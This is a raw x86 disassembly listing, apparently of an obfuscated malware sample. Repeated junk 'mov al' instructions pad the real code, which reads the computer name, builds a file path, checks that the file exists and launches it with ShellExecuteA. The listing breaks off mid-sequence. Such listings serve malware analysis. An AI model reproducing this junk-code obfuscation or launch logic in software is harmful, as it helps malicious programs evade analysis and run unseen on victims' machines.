mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea edx, [ebp - 0x25c]
push edx
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x14]
push ecx
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
movsx eax, byte [ebp - 0x230]
mov dword [ebp - 0x380], eax
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov eax, dword [ebp - 0x380]
cdq
mov ecx, 0xb
idiv ecx
mov dword [ebp - 0x380], edx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea edx, [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x380]
push eax
lea ecx, [ebp - 0x254]
push ecx
call fcn.004051e0
add esp, 0xc
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x120]
sub edx, eax
mov dword [ebp - 0x380], edx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x380]
add ecx, 1
mov dword [ebp - 0x380], ecx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov edx, dword [ebp - 0x380]
mov dword [ebp - 0x414], edx
lea eax, [ebp - 0x120]
mov dword [ebp - 0x418], eax
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x410], ecx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea edx, [ebp - 0x230]
test edx, edx
jne 0x402751
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x402897
cmp dword [ebp - 0x418], 0
jne 0x4027ba
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov byte [ebp - 0x230], 0
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x402897
mov eax, dword [ebp - 0x414]
mov ecx, dword [ebp - 0x414]
sub ecx, 1
mov dword [ebp - 0x414], ecx
test eax, eax
je 0x40283a
mov edx, dword [ebp - 0x410]
mov eax, dword [ebp - 0x418]
mov cl, byte [eax]
mov byte [edx], cl
mov edx, dword [ebp - 0x410]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x410]
add ecx, 1
mov dword [ebp - 0x410], ecx
mov edx, dword [ebp - 0x418]
add edx, 1
mov dword [ebp - 0x418], edx
test eax, eax
je 0x40283a
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x4027ba
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov eax, dword [ebp - 0x410]
mov byte [eax], 0
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea ecx, [ebp - 0x254]
push ecx
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
push 0x40a10c
lea eax, [ebp - 0x230]
push eax
call section..text
add esp, 8
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x14]
push ecx
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x41c], eax
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
cmp dword [ebp - 0x41c], 0xffffffff
je 0x4029f7
movsx ecx, byte [ebp - 0x230]
test ecx, ecx
jne 0x402a03
mov dword [ebp - 0x420], 0
jmp 0x402a0d
mov dword [ebp - 0x420], 1
cmp dword [ebp - 0x420], 0
je 0x402b47
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
push 1
lea edx, [ebp - 0x378]
push edx
mov eax, dword [ebp - 0x258]
push eax
lea ecx, [ebp - 0x230]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov byte [ebp - 0x385], 1
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov edx, dword [ebp - 0x258]
mov byte [edx], 0x72
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov eax, dword [ebp - 0x264]
sub eax, dword [ebp - 0x26c]
add eax, 2
mov dword [ebp - 0x428], eax
mov ecx, dword [ebp - 0x26c]
mov dword [ebp - 0x42c], ecx
lea edx, [ebp - 0x378]
mov dword [ebp - 0x424], edx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea eax, [ebp - 0x378]
test eax, eax
jne 0x402bd7
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x402d1d
cmp dword [ebp - 0x42c], 0
jne 0x402c40
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov byte [ebp - 0x378], 0
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x402d1d
mov ecx, dword [ebp - 0x428]
mov edx, dword [ebp - 0x428]
sub edx, 1
mov dword [ebp - 0x428], edx
test ecx, ecx
je 0x402cc0
mov eax, dword [ebp - 0x424]
mov ecx, dword [ebp - 0x42c]
mov dl, byte [ecx]
mov byte [eax], dl
mov eax, dword [ebp - 0x424]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x424]
add edx, 1
mov dword [ebp - 0x424], edx
mov eax, dword [ebp - 0x42c]
add eax, 1
mov dword [ebp - 0x42c], eax
test ecx, ecx
je 0x402cc0
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x402c40
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x424]
mov byte [ecx], 0
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
movsx edx, byte [ebp - 0x378]
mov dword [ebp - 0x380], edx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov eax, dword [ebp - 0x380]
cdq
mov ecx, 0xb
idiv ecx
mov dword [ebp - 0x380], edx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea edx, [ebp - 0x378]
push edx
mov eax, dword [ebp - 0x380]
push eax
lea ecx, [ebp - 0x254]
push ecx
call fcn.004051e0
add esp, 0xc
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
push 0x105
push 0
lea edx, [ebp - 0x230]
push edx
call fcn.00405a90
add esp, 0xc
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x120]
sub eax, ecx
mov dword [ebp - 0x380], eax
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov edx, dword [ebp - 0x380]
add edx, 1
mov dword [ebp - 0x380], edx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov eax, dword [ebp - 0x380]
mov dword [ebp - 0x480], eax
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x484], ecx
lea edx, [ebp - 0x230]
mov dword [ebp - 0x47c], edx
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea eax, [ebp - 0x230]
test eax, eax
jne 0x402f68
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x4030ae
cmp dword [ebp - 0x484], 0
jne 0x402fd1
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov byte [ebp - 0x230], 0
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x4030ae
mov ecx, dword [ebp - 0x480]
mov edx, dword [ebp - 0x480]
sub edx, 1
mov dword [ebp - 0x480], edx
test ecx, ecx
je 0x403051
mov eax, dword [ebp - 0x47c]
mov ecx, dword [ebp - 0x484]
mov dl, byte [ecx]
mov byte [eax], dl
mov eax, dword [ebp - 0x47c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x47c]
add edx, 1
mov dword [ebp - 0x47c], edx
mov eax, dword [ebp - 0x484]
add eax, 1
mov dword [ebp - 0x484], eax
test ecx, ecx
je 0x403051
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
jmp 0x402fd1
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x47c]
mov byte [ecx], 0
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea edx, [ebp - 0x254]
push edx
lea eax, [ebp - 0x230]
push eax
call section..text
add esp, 8
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov ecx, dword [ebp - 0x14]
push ecx
lea edx, [ebp - 0x230]
push edx
call section..text
add esp, 8
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x488], eax
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
cmp dword [ebp - 0x488], 0xffffffff
je 0x4031fa
movsx ecx, byte [ebp - 0x230]
test ecx, ecx
jne 0x403206
mov dword [ebp - 0x48c], 0
jmp 0x403210
mov dword [ebp - 0x48c], 1
cmp dword [ebp - 0x48c], 0
je 0x4032ab
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov byte [ebp - 0x385], 1
mov al, 0x6f
mov al, 0xff
mov al, 0xf5
mov al, 0xf5
mov al, 0x38
mov al, 0x70
mov al, 0x6f
mov al, 0x49
mov al, 0xc0
mov al, 0x89
mov al, 0x47
mov al, 0x72
mov al, 0x70
mov al, 0x4e
mov al, 0xc0
mov al, 0x86
mov al, 0x4a
mov al, 0x72
mov al, 0x71
mov al, 0xb7
mov al, 2
mov edx, dword [ebp - 0x258]
mov byte [edx], 0x72
mov al, 0x6f
mov al, 0xff
